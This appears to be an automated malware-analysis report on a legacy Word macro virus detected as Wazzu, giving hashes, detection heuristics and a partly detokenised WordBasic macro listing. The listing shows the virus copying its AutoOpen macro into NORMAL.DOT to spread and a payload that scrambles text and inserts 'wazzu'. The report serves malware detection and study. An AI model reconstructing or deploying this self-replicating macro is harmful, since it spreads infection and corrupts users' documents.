Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 6ee4c0338e5fed31…

MALICIOUS

Office (OLE)

6.5 KB First seen: 2012-06-14
MD5: 2de9d93f78e43433937de8c2a756202f SHA-1: aa88077b814fefedf4635c484530fb11f09eab52 SHA-256: 6ee4c0338e5fed31048e0a489ad235e7b1cdc2fdf0be55ad23808074bacd264e
102 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The sample exhibits characteristics of a legacy macro virus, specifically identified by the 'RSN MACRO VIRUS' marker and ClamAV detection as 'Doc.Trojan.Wazzu-6'. The presence of WordBasic macro indicators suggests the file is intended to execute malicious routines, likely to spread or perform other harmful actions.

Heuristics 3

  • ClamAV: Doc.Trojan.Wazzu-6 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Wazzu-6
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
  • Recovered legacy WordBasic macro source info OLE_LEGACY_WORDBASIC_MACRO_SOURCE
    The Word 6.0/95 document stores tokenised WordBasic macros in the WordDocument stream rather than as a modern VBA project, so VBA source extraction cannot see them. The macro source was detokenised and carved so its identifiers, string literals (file paths, URLs, registry keys, message text) and comments are available for review and signature scanning.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
wordbasic_macros.txt wordbasic-macro analyzer.wordbasic (detokenised Word 6/95 WordBasic macro source) 579 bytes
SHA-256: 226ca2e19e36b92ab5fe026262372602430586fd9e6cf33f96b6d86d1861f187
Preview script
First 1,000 lines of the extracted script
MAIN
REM On Error Goto errCaught
@cmd0056
dlg @cmd0056
dlg
fileMacro$ = dlg = "\" = dlg @cmd0700 ":autoOpen"
globMacro$ = "Global:autoOpen"
MacroFile$ = @cmd80af @cmd8009 @cmd818e @cmd80b8 0 , 10
MacroFile$ = "NORMAL.DOT"
@cmd80c2 globMacro$ , fileMacro$
@cmd0054 = 1
@cmd80c2 fileMacro$ , globMacro$
Payload
* bye @cmd7468
, - * 0
Payload
i = 1 3
@cmd800e
RndWord
@cmd8116
selWord$ = @cmd8015
@cmd001c
RndWord
@cmd8012 selWord$ = " "
@cmd800e
RndWord
@cmd8012 "wazzu "
@cmdc010
RndWord
@cmd0056
dlg @cmd004e
dlg
wordNum = @cmd8002 @cmd800e @cmd8006 dlg
@cmdc010
@cmdc003 wordNum

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